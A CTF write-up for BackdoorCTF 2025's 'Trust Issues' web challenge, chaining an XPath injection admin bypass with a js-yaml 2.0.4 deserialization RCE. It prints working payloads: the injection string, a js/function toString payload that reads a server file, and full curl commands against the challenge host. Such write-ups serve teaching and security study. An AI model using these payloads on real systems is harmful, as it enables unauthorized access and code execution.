BackdoorCTF 2025WebSolved

Trust Issues

PR
Prylo Team
December 7, 2025
3 min read

Competition

BackdoorCTF 2025

Difficulty

Medium

Points

100

Estimated Read

3 min

webxpath-injectionyaml-deserializationrcejs-yaml
Key Takeaways

Critical concepts & techniques

  • XPath Operator Precedence: `and` binds tighter than `or`, which can be abused for logic bypasses.
  • Legacy Dependencies: Older libraries like `js-yaml@2.0.4` often contain critical vulnerabilities (CVE-2013-4660) that allow arbitrary code execution.
  • Blind Logic: `starts-with()` and other XPath functions can be useful when you can't see the query output directly.

This challenge combines XPath Injection to bypass admin authentication and a classic Remote Code Execution (RCE) vulnerability in an old version of js-yaml (2.0.4).

Challenge Overview

Field Value
Name Trust Issues
Vulnerabilities XPath Injection, Yaml Deserialization

Reconnaissance

Vulnerabilities Identified

  1. XPath Injection - User input directly concatenated into XPath queries
  2. js-yaml 2.0.4 RCE - Unsafe yaml.load() allows code execution via !!js/function

Exploitation

Step 1: XPath Injection (Admin Bypass)

Vulnerability Location

server.js:101 - Admin check query:

const query = `//user[username/text()='${username}' and role/text()='admin']`;

Working Payload

unique_<timestamp>' or starts-with(username/text(), 'unique_') or '

How It Works

  1. Registration check:

    //user[username/text()='unique_...' or starts-with(username/text(), 'unique_') or '']
    
    • No existing user matches → Registration succeeds
  2. Login check:

    • After registration, starts-with() matches our newly created user
    • Login succeeds, session stores our injected username
  3. Admin check:

    //user[username/text()='unique_...' or starts-with(username/text(), 'unique_') or '' and role/text()='admin']
    
    • Due to operator precedence (and > or), the '' and role/text()='admin' evaluates first
    • The starts-with() condition returns our user node, bypassing the admin check!

Step 2: js-yaml 2.0.4 RCE

Vulnerability Location

server.js:246 - YAML parsing:

parsed = yaml.load(fileContent);
const applied = "" + parsed;

Target Endpoint

POST /admin/create (requires admin access - which we have!)

Payload (Working)

"toString": !<tag:yaml.org,2002:js/function> "function(){ return process.mainModule.require('fs').readFileSync('/app/flag.txt','utf8') }"

Note: The explicit tag format !<tag:yaml.org,2002:js/function> is required instead of the shorthand !!js/function.

Why It Works

  • The toString key is crucial
  • When the parsed object is coerced to string with '' + parsed, JavaScript calls the object's toString() method
  • Our malicious function replaces toString, so it executes and returns the flag content

Full Exploit Commands

# 1. Register with XPath injection
PAYLOAD="unique_$(date +%s)' or starts-with(username/text(), 'unique_') or '"
curl -X POST "http://104.198.24.52:6014/register" \
  --data-urlencode "username=${PAYLOAD}" \
  --data-urlencode "password=hack123"

# 2. Login and save session cookie
curl -X POST "http://104.198.24.52:6014/login" \
  --data-urlencode "username=${PAYLOAD}" \
  --data-urlencode "password=hack123" \
  --cookie-jar cookies.txt

# 3. Verify admin access
curl "http://104.198.24.52:6014/store" --cookie cookies.txt

# 4. Exploit YAML RCE to read flag
curl -X POST "http://104.198.24.52:6014/admin/create" \
  --cookie cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"filename": "rce.yml", "fileContent": "{ toString: !!js/function '\''function(){ return process.mainModule.require(\"fs\").readFileSync(\"/app/flag.txt\",\"utf8\") }'\'' }"}'

References

Attack Chain Visualization
1

XPath Injection: Bypasses admin login using operator precedence logic bug

2

Privilege Escalation: Gained access to `/admin/create` endpoint

3

YAML Deserialization RCE: Exploited `js-yaml` vulnerability via malicious `toString` payload

4

Flag Exfiltration: Executed `fs.readFileSync` to read the flag file

Flag (confidential)

Visible only after reveal

Want to check the flag? Click below to reveal it.

Related Writeups